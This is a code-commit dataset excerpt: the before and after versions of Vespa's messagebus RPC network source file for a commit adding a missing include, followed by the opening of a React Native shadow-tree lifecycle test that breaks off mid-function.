<vespa\/vespalib\/component\/vtag.h>\n#include <vespa\/vespalib\/stllike\/asciistream.h>\n#include <vespa\/vespalib\/util\/size_literals.h>\n#include <vespa\/vespalib\/util\/stringfmt.h>\n#include <vespa\/fastos\/thread.h>\n#include <thread>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".rpcnetwork\");\n\nusing vespalib::make_string;\nusing namespace std::chrono_literals;\n\nnamespace mbus {\n\nnamespace {\n\n\/**\n * Implements a helper class for {@link RPCNetwork#sync()}. It provides a\n * blocking method {@link #await()} that will wait until the internal state\n * of this object is set to 'done'. By scheduling this task in the network\n * thread and then calling this method, we achieve handshaking with the network\n * thread.\n *\/\nclass SyncTask : public FNET_Task {\nprivate:\n vespalib::Gate _gate;\n\npublic:\n SyncTask(FNET_Scheduler &s) :\n FNET_Task(&s),\n _gate() {\n ScheduleNow();\n }\n ~SyncTask() override {\n Kill();\n }\n\n void await() {\n _gate.await();\n }\n\n void PerformTask() override {\n _gate.countDown();\n }\n};\n\nstruct TargetPoolTask : public FNET_Task {\n RPCTargetPool &_pool;\n\n TargetPoolTask(FNET_Scheduler &scheduler, RPCTargetPool &pool)\n : FNET_Task(&scheduler),\n _pool(pool)\n {\n ScheduleNow();\n }\n ~TargetPoolTask() override {\n Kill();\n }\n void PerformTask() override {\n _pool.flushTargets(false);\n Schedule(1.0);\n }\n};\n\nfnet::TransportConfig\ntoFNETConfig(const RPCNetworkParams & params) {\n return fnet::TransportConfig(params.getNumNetworkThreads())\n .maxInputBufferSize(params.getMaxInputBufferSize())\n .maxOutputBufferSize(params.getMaxOutputBufferSize())\n .tcpNoDelay(params.getTcpNoDelay())\n .events_before_wakeup(params.events_before_wakeup());\n}\n\n}\n\nRPCNetwork::SendContext::SendContext(RPCNetwork &net, const Message &msg,\n const std::vector<RoutingNode*> &recipients)\n : _net(net),\n _msg(msg),\n _traceLevel(msg.getTrace().getLevel()),\n _recipients(recipients),\n _hasError(false),\n _pending(_recipients.size()),\n _version(_net.getVersion())\n{ }\n\nvoid\nRPCNetwork::SendContext::handleVersion(const vespalib::Version *version)\n{\n bool shouldSend = false;\n {\n std::lock_guard guard(_lock);\n if (version == nullptr) {\n _hasError = true;\n } else if (*version < _version) {\n _version = *version;\n }\n if (--_pending == 0) {\n shouldSend = true;\n }\n }\n if (shouldSend) {\n _net.send(*this);\n delete this;\n }\n}\n\nRPCNetwork::RPCNetwork(const RPCNetworkParams ¶ms) :\n _owner(nullptr),\n _ident(params.getIdentity()),\n _threadPool(std::make_unique<FastOS_ThreadPool>(128_Ki, 0)),\n _transport(std::make_unique<FNET_Transport>(toFNETConfig(params))),\n _orb(std::make_unique<FRT_Supervisor>(_transport.get())),\n _scheduler(*_transport->GetScheduler()),\n _slobrokCfgFactory(std::make_unique<slobrok::ConfiguratorFactory>(params.getSlobrokConfig())),\n _mirror(std::make_unique<slobrok::api::MirrorAPI>(*_orb, *_slobrokCfgFactory)),\n _regAPI(std::make_unique<slobrok::api::RegisterAPI>(*_orb, *_slobrokCfgFactory)),\n _requestedPort(params.getListenPort()),\n _targetPool(std::make_unique<RPCTargetPool>(params.getConnectionExpireSecs(), params.getNumRpcTargets())),\n _targetPoolTask(std::make_unique<TargetPoolTask>(_scheduler, *_targetPool)),\n _servicePool(std::make_unique<RPCServicePool>(*_mirror, 4_Ki)),\n _sendV2(std::make_unique<RPCSendV2>()),\n _sendAdapters(),\n _compressionConfig(params.getCompressionConfig())\n{\n}\n\nRPCNetwork::~RPCNetwork()\n{\n shutdown();\n}\n\nFRT_RPCRequest *\nRPCNetwork::allocRequest()\n{\n return _orb->AllocRPCRequest();\n}\n\nRPCTarget::SP\nRPCNetwork::getTarget(const RPCServiceAddress &address)\n{\n return _targetPool->getTarget(*_orb, address);\n}\n\nvoid\nRPCNetwork::replyError(const SendContext &ctx, uint32_t errCode, const string &errMsg)\n{\n for (RoutingNode * rnode : ctx._recipients) {\n Reply::UP reply(new EmptyReply());\n reply->setTrace(Trace(ctx._traceLevel));\n reply->addError(Error(errCode, errMsg));\n _owner->deliverReply(std::move(reply), *rnode);\n }\n}\n\nint RPCNetwork::getPort() const { return _orb->GetListenPort(); }\n\n\nvoid\nRPCNetwork::flushTargetPool()\n{\n _targetPool->flushTargets(true);\n}\n\nconst vespalib::Version &\nRPCNetwork::getVersion() const\n{\n return vespalib::Vtag::currentVersion;\n}\n\nvoid\nRPCNetwork::attach(INetworkOwner &owner)\n{\n LOG_ASSERT(_owner == nullptr);\n _owner = &owner;\n\n _sendV2->attach(*this);\n _sendAdapters[vespalib::Version(6, 149)] = _sendV2.get();\n\n FRT_ReflectionBuilder builder(_orb.get());\n builder.DefineMethod(\"mbus.getVersion\", \"\", \"s\", FRT_METHOD(RPCNetwork::invoke), this);\n builder.MethodDesc(\"Retrieves the message bus version.\");\n builder.ReturnDesc(\"version\", \"The message bus version.\");\n}\n\nvoid\nRPCNetwork::invoke(FRT_RPCRequest *req)\n{\n req->GetReturn()->AddString(getVersion().toString().c_str());\n}\n\nconst string\nRPCNetwork::getConnectionSpec() const\n{\n return make_string(\"tcp\/%s:%d\", _ident.getHostname().c_str(), _orb->GetListenPort());\n}\n\nRPCSendAdapter *\nRPCNetwork::getSendAdapter(const vespalib::Version &version)\n{\n if (version < _sendAdapters.begin()->first) {\n return nullptr;\n }\n return (--_sendAdapters.upper_bound(version))->second;\n}\n\nbool\nRPCNetwork::start()\n{\n if (!_transport->Start(_threadPool.get())) {\n return false;\n }\n if (!_orb->Listen(_requestedPort)) {\n return false;\n }\n return true;\n}\n\nbool\nRPCNetwork::waitUntilReady(duration timeout) const\n{\n slobrok::api::SlobrokList brokerList;\n slobrok::Configurator::UP configurator = _slobrokCfgFactory->create(brokerList);\n bool hasConfig = false;\n for (int64_t i = 0; i < vespalib::count_ms(timeout)\/10; ++i) {\n if (configurator->poll()) {\n hasConfig = true;\n }\n if (_mirror->ready()) {\n return true;\n }\n std::this_thread::sleep_for(10ms);\n }\n if (! hasConfig) {\n LOG(error, \"failed to get config for slobroks in %2.2f seconds\", vespalib::to_s(timeout));\n } else if (! _mirror->ready()) {\n auto brokers = brokerList.logString();\n LOG(error, \"mirror (of %s) failed to become ready in %2.2f seconds\", brokers.c_str(), vespalib::to_s(timeout));\n }\n return false;\n}\n\nvoid\nRPCNetwork::registerSession(const string &session)\n{\n if (_ident.getServicePrefix().empty()) {\n LOG(warning, \"The session (%s) will not be registered in the Slobrok since this network has no identity.\",\n session.c_str());\n return;\n }\n string name = _ident.getServicePrefix();\n name += \"\/\";\n name += session;\n _regAPI->registerName(name);\n}\n\nvoid\nRPCNetwork::unregisterSession(const string &session)\n{\n if (_ident.getServicePrefix().empty()) {\n return;\n }\n if (getPort() <= 0) {\n return;\n }\n string name = _ident.getServicePrefix();\n name += \"\/\";\n name += session;\n _regAPI->unregisterName(name);\n}\n\nbool\nRPCNetwork::allocServiceAddress(RoutingNode &recipient)\n{\n const Hop &hop = recipient.getRoute().getHop(0);\n string service = hop.getServiceName();\n Error error = resolveServiceAddress(recipient, service);\n if (error.getCode() == ErrorCode::NONE) {\n return true; \/\/ service address resolved\n }\n recipient.setError(error);\n return false; \/\/ service adddress not resolved\n}\n\nError\nRPCNetwork::resolveServiceAddress(RoutingNode &recipient, const string &serviceName)\n{\n RPCServiceAddress::UP ret = _servicePool->resolve(serviceName);\n if ( ! ret) {\n return Error(ErrorCode::NO_ADDRESS_FOR_SERVICE,\n make_string(\"The address of service '%s' could not be resolved. It is not currently \"\n \"registered with the Vespa name server. \"\n \"The service must be having problems, or the routing configuration is wrong. \"\n \"Address resolution attempted from host '%s'\",\n serviceName.c_str(), getIdentity().getHostname().c_str()));\n }\n RPCTarget::SP target = _targetPool->getTarget(*_orb, *ret);\n if ( ! target) {\n return Error(ErrorCode::CONNECTION_ERROR,\n make_string(\"Failed to connect to service '%s' from host '%s'.\",\n serviceName.c_str(), getIdentity().getHostname().c_str()));\n }\n ret->setTarget(std::move(target)); \/\/ free by freeServiceAddress()\n recipient.setServiceAddress(std::move(ret));\n return Error();\n}\n\nvoid\nRPCNetwork::freeServiceAddress(RoutingNode &recipient)\n{\n recipient.setServiceAddress(IServiceAddress::UP());\n}\n\nvoid\nRPCNetwork::send(const Message &msg, const std::vector<RoutingNode*> &recipients)\n{\n SendContext &ctx = *(new SendContext(*this, msg, recipients)); \/\/ deletes self\n duration timeout = ctx._msg.getTimeRemainingNow();\n for (uint32_t i = 0, len = ctx._recipients.size(); i < len; ++i) {\n RoutingNode *&recipient = ctx._recipients[i];\n\n RPCServiceAddress &address = static_cast<RPCServiceAddress&>(recipient->getServiceAddress());\n LOG_ASSERT(address.hasTarget());\n\n address.getTarget().resolveVersion(timeout, ctx);\n }\n}\n\nnamespace {\n\nvoid\nemit_recipient_endpoint(vespalib::asciistream& stream, const RoutingNode& recipient) {\n if (recipient.hasServiceAddress()) {\n \/\/ At this point the service addresses _should_ be RPCServiceAddress instances,\n \/\/ but stay on the safe side of the tracks anyway.\n const auto* rpc_addr = dynamic_cast<const RPCServiceAddress*>(&recipient.getServiceAddress());\n if (rpc_addr) {\n stream << rpc_addr->getServiceName() << \" at \" << rpc_addr->getConnectionSpec();\n } else {\n stream << \"<non-RPC service address>\";\n }\n } else {\n stream << \"<unknown service address>\";\n }\n}\n\n}\n\nvespalib::string\nRPCNetwork::buildRecipientListString(const SendContext& ctx) {\n vespalib::asciistream s;\n bool first = true;\n for (const auto* recipient : ctx._recipients) {\n if (!first) {\n s << \", \";\n }\n first = false;\n emit_recipient_endpoint(s, *recipient);\n }\n return s.str();\n}\n\nvoid\nRPCNetwork::send(RPCNetwork::SendContext &ctx)\n{\n if (ctx._hasError) {\n replyError(ctx, ErrorCode::HANDSHAKE_FAILED,\n make_string(\"An error occurred while resolving version of recipient(s) [%s] from host '%s'.\",\n buildRecipientListString(ctx).c_str(), getIdentity().getHostname().c_str()));\n } else {\n duration timeRemaining = ctx._msg.getTimeRemainingNow();\n Blob payload = _owner->getProtocol(ctx._msg.getProtocol())->encode(ctx._version, ctx._msg);\n RPCSendAdapter *adapter = getSendAdapter(ctx._version);\n if (adapter == nullptr) {\n replyError(ctx, ErrorCode::INCOMPATIBLE_VERSION,\n make_string(\"Can not send to version '%s' recipient.\", ctx._version.toString().c_str()));\n } else if (timeRemaining == 0ms) {\n replyError(ctx, ErrorCode::TIMEOUT, \"Aborting transmission because zero time remains.\");\n } else if (payload.size() == 0) {\n replyError(ctx, ErrorCode::ENCODE_ERROR,\n make_string(\"Protocol '%s' failed to encode message.\", ctx._msg.getProtocol().c_str()));\n } else if (ctx._recipients.size() == 1) {\n adapter->sendByHandover(*ctx._recipients.front(), ctx._version, std::move(payload), timeRemaining);\n } else {\n for (auto & recipient : ctx._recipients) {\n adapter->send(*recipient, ctx._version, payload, timeRemaining);\n }\n }\n }\n}\n\nvoid\nRPCNetwork::sync()\n{\n SyncTask task(_scheduler);\n task.await();\n}\n\nvoid\nRPCNetwork::shutdown()\n{\n \/\/ Unschedule any pending target pool flush task that may race with shutdown target flushing\n _scheduler.Kill(_targetPoolTask.get());\n _transport->ShutDown(true);\n _threadPool->Close();\n}\n\nvoid\nRPCNetwork::postShutdownHook()\n{\n _scheduler.CheckTasks();\n}\n\nconst slobrok::api::IMirrorAPI &\nRPCNetwork::getMirror() const\n{\n return *_mirror;\n}\n\n} \/\/ namespace mbus\n<commit_msg>Add missing include<commit_after>\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include \"rpcnetwork.h\"\n#include \"rpcservicepool.h\"\n#include \"rpcsendv2.h\"\n#include \"rpctargetpool.h\"\n#include \"rpcnetworkparams.h\"\n#include <vespa\/fnet\/frt\/supervisor.h>\n#include <vespa\/fnet\/scheduler.h>\n#include <vespa\/fnet\/transport.h>\n#include <vespa\/messagebus\/emptyreply.h>\n#include <vespa\/messagebus\/errorcode.h>\n#include <vespa\/messagebus\/iprotocol.h>\n#include <vespa\/messagebus\/routing\/routingnode.h>\n#include <vespa\/slobrok\/sbmirror.h>\n#include <vespa\/slobrok\/sbregister.h>\n#include <vespa\/vespalib\/component\/vtag.h>\n#include <vespa\/vespalib\/stllike\/asciistream.h>\n#include <vespa\/vespalib\/util\/size_literals.h>\n#include <vespa\/vespalib\/util\/stringfmt.h>\n#include <vespa\/vespalib\/util\/gate.h>\n#include <vespa\/fastos\/thread.h>\n#include <thread>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".rpcnetwork\");\n\nusing vespalib::make_string;\nusing namespace std::chrono_literals;\n\nnamespace mbus {\n\nnamespace {\n\n\/**\n * Implements a helper class for {@link RPCNetwork#sync()}. It provides a\n * blocking method {@link #await()} that will wait until the internal state\n * of this object is set to 'done'. By scheduling this task in the network\n * thread and then calling this method, we achieve handshaking with the network\n * thread.\n *\/\nclass SyncTask : public FNET_Task {\nprivate:\n vespalib::Gate _gate;\n\npublic:\n SyncTask(FNET_Scheduler &s) :\n FNET_Task(&s),\n _gate() {\n ScheduleNow();\n }\n ~SyncTask() override {\n Kill();\n }\n\n void await() {\n _gate.await();\n }\n\n void PerformTask() override {\n _gate.countDown();\n }\n};\n\nstruct TargetPoolTask : public FNET_Task {\n RPCTargetPool &_pool;\n\n TargetPoolTask(FNET_Scheduler &scheduler, RPCTargetPool &pool)\n : FNET_Task(&scheduler),\n _pool(pool)\n {\n ScheduleNow();\n }\n ~TargetPoolTask() override {\n Kill();\n }\n void PerformTask() override {\n _pool.flushTargets(false);\n Schedule(1.0);\n }\n};\n\nfnet::TransportConfig\ntoFNETConfig(const RPCNetworkParams & params) {\n return fnet::TransportConfig(params.getNumNetworkThreads())\n .maxInputBufferSize(params.getMaxInputBufferSize())\n .maxOutputBufferSize(params.getMaxOutputBufferSize())\n .tcpNoDelay(params.getTcpNoDelay())\n .events_before_wakeup(params.events_before_wakeup());\n}\n\n}\n\nRPCNetwork::SendContext::SendContext(RPCNetwork &net, const Message &msg,\n const std::vector<RoutingNode*> &recipients)\n : _net(net),\n _msg(msg),\n _traceLevel(msg.getTrace().getLevel()),\n _recipients(recipients),\n _hasError(false),\n _pending(_recipients.size()),\n _version(_net.getVersion())\n{ }\n\nvoid\nRPCNetwork::SendContext::handleVersion(const vespalib::Version *version)\n{\n bool shouldSend = false;\n {\n std::lock_guard guard(_lock);\n if (version == nullptr) {\n _hasError = true;\n } else if (*version < _version) {\n _version = *version;\n }\n if (--_pending == 0) {\n shouldSend = true;\n }\n }\n if (shouldSend) {\n _net.send(*this);\n delete this;\n }\n}\n\nRPCNetwork::RPCNetwork(const RPCNetworkParams ¶ms) :\n _owner(nullptr),\n _ident(params.getIdentity()),\n _threadPool(std::make_unique<FastOS_ThreadPool>(128_Ki, 0)),\n _transport(std::make_unique<FNET_Transport>(toFNETConfig(params))),\n _orb(std::make_unique<FRT_Supervisor>(_transport.get())),\n _scheduler(*_transport->GetScheduler()),\n _slobrokCfgFactory(std::make_unique<slobrok::ConfiguratorFactory>(params.getSlobrokConfig())),\n _mirror(std::make_unique<slobrok::api::MirrorAPI>(*_orb, *_slobrokCfgFactory)),\n _regAPI(std::make_unique<slobrok::api::RegisterAPI>(*_orb, *_slobrokCfgFactory)),\n _requestedPort(params.getListenPort()),\n _targetPool(std::make_unique<RPCTargetPool>(params.getConnectionExpireSecs(), params.getNumRpcTargets())),\n _targetPoolTask(std::make_unique<TargetPoolTask>(_scheduler, *_targetPool)),\n _servicePool(std::make_unique<RPCServicePool>(*_mirror, 4_Ki)),\n _sendV2(std::make_unique<RPCSendV2>()),\n _sendAdapters(),\n _compressionConfig(params.getCompressionConfig())\n{\n}\n\nRPCNetwork::~RPCNetwork()\n{\n shutdown();\n}\n\nFRT_RPCRequest *\nRPCNetwork::allocRequest()\n{\n return _orb->AllocRPCRequest();\n}\n\nRPCTarget::SP\nRPCNetwork::getTarget(const RPCServiceAddress &address)\n{\n return _targetPool->getTarget(*_orb, address);\n}\n\nvoid\nRPCNetwork::replyError(const SendContext &ctx, uint32_t errCode, const string &errMsg)\n{\n for (RoutingNode * rnode : ctx._recipients) {\n Reply::UP reply(new EmptyReply());\n reply->setTrace(Trace(ctx._traceLevel));\n reply->addError(Error(errCode, errMsg));\n _owner->deliverReply(std::move(reply), *rnode);\n }\n}\n\nint RPCNetwork::getPort() const { return _orb->GetListenPort(); }\n\n\nvoid\nRPCNetwork::flushTargetPool()\n{\n _targetPool->flushTargets(true);\n}\n\nconst vespalib::Version &\nRPCNetwork::getVersion() const\n{\n return vespalib::Vtag::currentVersion;\n}\n\nvoid\nRPCNetwork::attach(INetworkOwner &owner)\n{\n LOG_ASSERT(_owner == nullptr);\n _owner = &owner;\n\n _sendV2->attach(*this);\n _sendAdapters[vespalib::Version(6, 149)] = _sendV2.get();\n\n FRT_ReflectionBuilder builder(_orb.get());\n builder.DefineMethod(\"mbus.getVersion\", \"\", \"s\", FRT_METHOD(RPCNetwork::invoke), this);\n builder.MethodDesc(\"Retrieves the message bus version.\");\n builder.ReturnDesc(\"version\", \"The message bus version.\");\n}\n\nvoid\nRPCNetwork::invoke(FRT_RPCRequest *req)\n{\n req->GetReturn()->AddString(getVersion().toString().c_str());\n}\n\nconst string\nRPCNetwork::getConnectionSpec() const\n{\n return make_string(\"tcp\/%s:%d\", _ident.getHostname().c_str(), _orb->GetListenPort());\n}\n\nRPCSendAdapter *\nRPCNetwork::getSendAdapter(const vespalib::Version &version)\n{\n if (version < _sendAdapters.begin()->first) {\n return nullptr;\n }\n return (--_sendAdapters.upper_bound(version))->second;\n}\n\nbool\nRPCNetwork::start()\n{\n if (!_transport->Start(_threadPool.get())) {\n return false;\n }\n if (!_orb->Listen(_requestedPort)) {\n return false;\n }\n return true;\n}\n\nbool\nRPCNetwork::waitUntilReady(duration timeout) const\n{\n slobrok::api::SlobrokList brokerList;\n slobrok::Configurator::UP configurator = _slobrokCfgFactory->create(brokerList);\n bool hasConfig = false;\n for (int64_t i = 0; i < vespalib::count_ms(timeout)\/10; ++i) {\n if (configurator->poll()) {\n hasConfig = true;\n }\n if (_mirror->ready()) {\n return true;\n }\n std::this_thread::sleep_for(10ms);\n }\n if (! hasConfig) {\n LOG(error, \"failed to get config for slobroks in %2.2f seconds\", vespalib::to_s(timeout));\n } else if (! _mirror->ready()) {\n auto brokers = brokerList.logString();\n LOG(error, \"mirror (of %s) failed to become ready in %2.2f seconds\", brokers.c_str(), vespalib::to_s(timeout));\n }\n return false;\n}\n\nvoid\nRPCNetwork::registerSession(const string &session)\n{\n if (_ident.getServicePrefix().empty()) {\n LOG(warning, \"The session (%s) will not be registered in the Slobrok since this network has no identity.\",\n session.c_str());\n return;\n }\n string name = _ident.getServicePrefix();\n name += \"\/\";\n name += session;\n _regAPI->registerName(name);\n}\n\nvoid\nRPCNetwork::unregisterSession(const string &session)\n{\n if (_ident.getServicePrefix().empty()) {\n return;\n }\n if (getPort() <= 0) {\n return;\n }\n string name = _ident.getServicePrefix();\n name += \"\/\";\n name += session;\n _regAPI->unregisterName(name);\n}\n\nbool\nRPCNetwork::allocServiceAddress(RoutingNode &recipient)\n{\n const Hop &hop = recipient.getRoute().getHop(0);\n string service = hop.getServiceName();\n Error error = resolveServiceAddress(recipient, service);\n if (error.getCode() == ErrorCode::NONE) {\n return true; \/\/ service address resolved\n }\n recipient.setError(error);\n return false; \/\/ service adddress not resolved\n}\n\nError\nRPCNetwork::resolveServiceAddress(RoutingNode &recipient, const string &serviceName)\n{\n RPCServiceAddress::UP ret = _servicePool->resolve(serviceName);\n if ( ! ret) {\n return Error(ErrorCode::NO_ADDRESS_FOR_SERVICE,\n make_string(\"The address of service '%s' could not be resolved. It is not currently \"\n \"registered with the Vespa name server. \"\n \"The service must be having problems, or the routing configuration is wrong. \"\n \"Address resolution attempted from host '%s'\",\n serviceName.c_str(), getIdentity().getHostname().c_str()));\n }\n RPCTarget::SP target = _targetPool->getTarget(*_orb, *ret);\n if ( ! target) {\n return Error(ErrorCode::CONNECTION_ERROR,\n make_string(\"Failed to connect to service '%s' from host '%s'.\",\n serviceName.c_str(), getIdentity().getHostname().c_str()));\n }\n ret->setTarget(std::move(target)); \/\/ free by freeServiceAddress()\n recipient.setServiceAddress(std::move(ret));\n return Error();\n}\n\nvoid\nRPCNetwork::freeServiceAddress(RoutingNode &recipient)\n{\n recipient.setServiceAddress(IServiceAddress::UP());\n}\n\nvoid\nRPCNetwork::send(const Message &msg, const std::vector<RoutingNode*> &recipients)\n{\n SendContext &ctx = *(new SendContext(*this, msg, recipients)); \/\/ deletes self\n duration timeout = ctx._msg.getTimeRemainingNow();\n for (uint32_t i = 0, len = ctx._recipients.size(); i < len; ++i) {\n RoutingNode *&recipient = ctx._recipients[i];\n\n RPCServiceAddress &address = static_cast<RPCServiceAddress&>(recipient->getServiceAddress());\n LOG_ASSERT(address.hasTarget());\n\n address.getTarget().resolveVersion(timeout, ctx);\n }\n}\n\nnamespace {\n\nvoid\nemit_recipient_endpoint(vespalib::asciistream& stream, const RoutingNode& recipient) {\n if (recipient.hasServiceAddress()) {\n \/\/ At this point the service addresses _should_ be RPCServiceAddress instances,\n \/\/ but stay on the safe side of the tracks anyway.\n const auto* rpc_addr = dynamic_cast<const RPCServiceAddress*>(&recipient.getServiceAddress());\n if (rpc_addr) {\n stream << rpc_addr->getServiceName() << \" at \" << rpc_addr->getConnectionSpec();\n } else {\n stream << \"<non-RPC service address>\";\n }\n } else {\n stream << \"<unknown service address>\";\n }\n}\n\n}\n\nvespalib::string\nRPCNetwork::buildRecipientListString(const SendContext& ctx) {\n vespalib::asciistream s;\n bool first = true;\n for (const auto* recipient : ctx._recipients) {\n if (!first) {\n s << \", \";\n }\n first = false;\n emit_recipient_endpoint(s, *recipient);\n }\n return s.str();\n}\n\nvoid\nRPCNetwork::send(RPCNetwork::SendContext &ctx)\n{\n if (ctx._hasError) {\n replyError(ctx, ErrorCode::HANDSHAKE_FAILED,\n make_string(\"An error occurred while resolving version of recipient(s) [%s] from host '%s'.\",\n buildRecipientListString(ctx).c_str(), getIdentity().getHostname().c_str()));\n } else {\n duration timeRemaining = ctx._msg.getTimeRemainingNow();\n Blob payload = _owner->getProtocol(ctx._msg.getProtocol())->encode(ctx._version, ctx._msg);\n RPCSendAdapter *adapter = getSendAdapter(ctx._version);\n if (adapter == nullptr) {\n replyError(ctx, ErrorCode::INCOMPATIBLE_VERSION,\n make_string(\"Can not send to version '%s' recipient.\", ctx._version.toString().c_str()));\n } else if (timeRemaining == 0ms) {\n replyError(ctx, ErrorCode::TIMEOUT, \"Aborting transmission because zero time remains.\");\n } else if (payload.size() == 0) {\n replyError(ctx, ErrorCode::ENCODE_ERROR,\n make_string(\"Protocol '%s' failed to encode message.\", ctx._msg.getProtocol().c_str()));\n } else if (ctx._recipients.size() == 1) {\n adapter->sendByHandover(*ctx._recipients.front(), ctx._version, std::move(payload), timeRemaining);\n } else {\n for (auto & recipient : ctx._recipients) {\n adapter->send(*recipient, ctx._version, payload, timeRemaining);\n }\n }\n }\n}\n\nvoid\nRPCNetwork::sync()\n{\n SyncTask task(_scheduler);\n task.await();\n}\n\nvoid\nRPCNetwork::shutdown()\n{\n \/\/ Unschedule any pending target pool flush task that may race with shutdown target flushing\n _scheduler.Kill(_targetPoolTask.get());\n _transport->ShutDown(true);\n _threadPool->Close();\n}\n\nvoid\nRPCNetwork::postShutdownHook()\n{\n _scheduler.CheckTasks();\n}\n\nconst slobrok::api::IMirrorAPI &\nRPCNetwork::getMirror() const\n{\n return *_mirror;\n}\n\n} \/\/ namespace mbus\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <vector>\n\n#include <glog\/logging.h>\n#include <gtest\/gtest.h>\n\n#include <react\/renderer\/components\/root\/RootComponentDescriptor.h>\n#include <react\/renderer\/components\/view\/ViewComponentDescriptor.h>\n#include <react\/renderer\/mounting\/Differentiator.h>\n#include <react\/renderer\/mounting\/ShadowViewMutation.h>\n#include <react\/renderer\/mounting\/stubs.h>\n\n#include \"Entropy.h\"\n#include \"shadowTreeGeneration.h\"\n\nnamespace facebook {\nnamespace react {\n\nstatic void testShadowNodeTreeLifeCycle(\n uint_fast32_t seed,\n int treeSize,\n int repeats,\n int stages) {\n auto entropy = seed == 0 ? Entropy() : Entropy(seed);\n\n auto eventDispatcher = EventDispatcher::Shared{};\n auto contextContainer = std::make_shared<ContextContainer>();\n auto componentDescriptorParameters =\n ComponentDescriptorParameters{eventDispatcher, contextContainer, nullptr};\n auto viewComponentDescriptor =\n ViewComponentDescriptor(componentDescriptorParameters);\n auto rootComponentDescriptor =\n RootComponentDescriptor(componentDescriptorParameters);\n auto noopEventEmitter =\n std::make_shared<ViewEventEmitter const>(nullptr, -1, eventDispatcher);\n\n auto allNodes = std::vector<ShadowNode::Shared>{};\n\n for (int i = 0; i < repeats; i++) {\n allNodes.clear();\n\n auto family = rootComponentDescriptor.createFamily(\n {Tag(1), SurfaceId(1), nullptr}, nullptr);\n\n \/\/ Creating an initial root shadow node.\n auto emptyRootNode = std::const_pointer_cast<RootShadowNode>(\n std::static_pointer_cast<RootShadowNode const>(\n rootComponentDescriptor.createShadowNode(\n ShadowNodeFragment{RootShadowNode::defaultSharedProps()},\n family)));\n\n \/\/ Applying size constraints.\n emptyRootNode = emptyRootNode->clone(\n LayoutConstraints{\n Size{512, 0}, Size{512, std::numeric_limits<Float>::infinity()}},\n LayoutContext{});\n\n \/\/ Generation of a random tree.\n auto singleRootChildNode =\n generateShadowNodeTree(entropy, viewComponentDescriptor, treeSize);\n\n \/\/ Injecting a tree into the root node.\n auto currentRootNode = std::static_pointer_cast<RootShadowNode const>(\n emptyRootNode->ShadowNode::clone(ShadowNodeFragment{\n ShadowNodeFragment::propsPlaceholder(),\n std::make_shared<SharedShadowNodeList>(\n SharedShadowNodeList{singleRootChildNode})}));\n\n \/\/ Building an initial view hierarchy.\n auto viewTree = buildStubViewTreeWithoutUsingDifferentiator(*emptyRootNode);\n viewTree.mutate(\n calculateShadowViewMutations(*emptyRootNode, *currentRootNode, true));\n\n for (int j = 0; j < stages; j++) {\n auto nextRootNode = currentRootNode;\n\n \/\/ Mutating the tree.\n alterShadowTree(\n entropy,\n nextRootNode,\n {\n &messWithChildren,\n &messWithYogaStyles,\n &messWithLayoutableOnlyFlag,\n });\n\n std::vector<LayoutableShadowNode const *> affectedLayoutableNodes{};\n affectedLayoutableNodes.reserve(1024);\n\n \/\/ Laying out the tree.\n std::const_pointer_cast<RootShadowNode>(nextRootNode)\n ->layoutIfNeeded(&affectedLayoutableNodes);\n\n nextRootNode->sealRecursive();\n allNodes.push_back(nextRootNode);\n\n \/\/ Calculating mutations.\n auto mutations =\n calculateShadowViewMutations(*currentRootNode, *nextRootNode, true);\n\n \/\/ Make sure that in a single frame, a DELETE for a\n \/\/ view is not followed by a CREATE for the same view.\n {\n std::vector<int> deletedTags{};\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Delete) {\n deletedTags.push_back(mutation.oldChildShadowView.tag);\n }\n }\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Create) {\n if (std::find(\n deletedTags.begin(),\n deletedTags.end(),\n mutation.newChildShadowView.tag) != deletedTags.end()) {\n LOG(ERROR) << \"Deleted tag was recreated in mutations list: [\"\n << mutation.newChildShadowView.tag << \"]\";\n react_native_assert(false);\n }\n }\n }\n }\n\n \/\/ Mutating the view tree.\n viewTree.mutate(mutations);\n\n \/\/ Building a view tree to compare with.\n auto rebuiltViewTree =\n buildStubViewTreeWithoutUsingDifferentiator(*nextRootNode);\n\n \/\/ Comparing the newly built tree with the updated one.\n if (rebuiltViewTree != viewTree) {\n \/\/ Something went wrong.\n\n LOG(ERROR) << \"Entropy seed: \" << entropy.getSeed() << \"\\n\";\n\n \/\/ There are some issues getting `getDebugDescription` to compile\n \/\/ under test on Android for now.\n#ifdef RN_DEBUG_STRING_CONVERTIBLE\n LOG(ERROR) << \"Shadow Tree before: \\n\"\n << currentRootNode->getDebugDescription();\n LOG(ERROR) << \"Shadow Tree after: \\n\"\n << nextRootNode->getDebugDescription();\n\n LOG(ERROR) << \"View Tree before: \\n\"\n << getDebugDescription(viewTree.getRootStubView(), {});\n LOG(ERROR) << \"View Tree after: \\n\"\n << getDebugDescription(\n rebuiltViewTree.getRootStubView(), {});\n\n LOG(ERROR) << \"Mutations:\"\n << \"\\n\"\n << getDebugDescription(mutations, {});\n#endif\n\n react_native_assert(false);\n }\n\n currentRootNode = nextRootNode;\n }\n }\n\n SUCCEED();\n}\n\nstatic void testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n uint_fast32_t seed,\n int treeSize,\n int repeats,\n int stages) {\n auto entropy = seed == 0 ? Entropy() : Entropy(seed);\n\n auto eventDispatcher = EventDispatcher::Shared{};\n auto contextContainer = std::make_shared<ContextContainer>();\n auto componentDescriptorParameters =\n ComponentDescriptorParameters{eventDispatcher, contextContainer, nullptr};\n auto viewComponentDescriptor =\n ViewComponentDescriptor(componentDescriptorParameters);\n auto rootComponentDescriptor =\n RootComponentDescriptor(componentDescriptorParameters);\n auto noopEventEmitter =\n std::make_shared<ViewEventEmitter const>(nullptr, -1, eventDispatcher);\n\n auto allNodes = std::vector<ShadowNode::Shared>{};\n\n for (int i = 0; i < repeats; i++) {\n allNodes.clear();\n\n auto family = rootComponentDescriptor.createFamily(\n {Tag(1), SurfaceId(1), nullptr}, nullptr);\n\n \/\/ Creating an initial root shadow node.\n auto emptyRootNode = std::const_pointer_cast<RootShadowNode>(\n 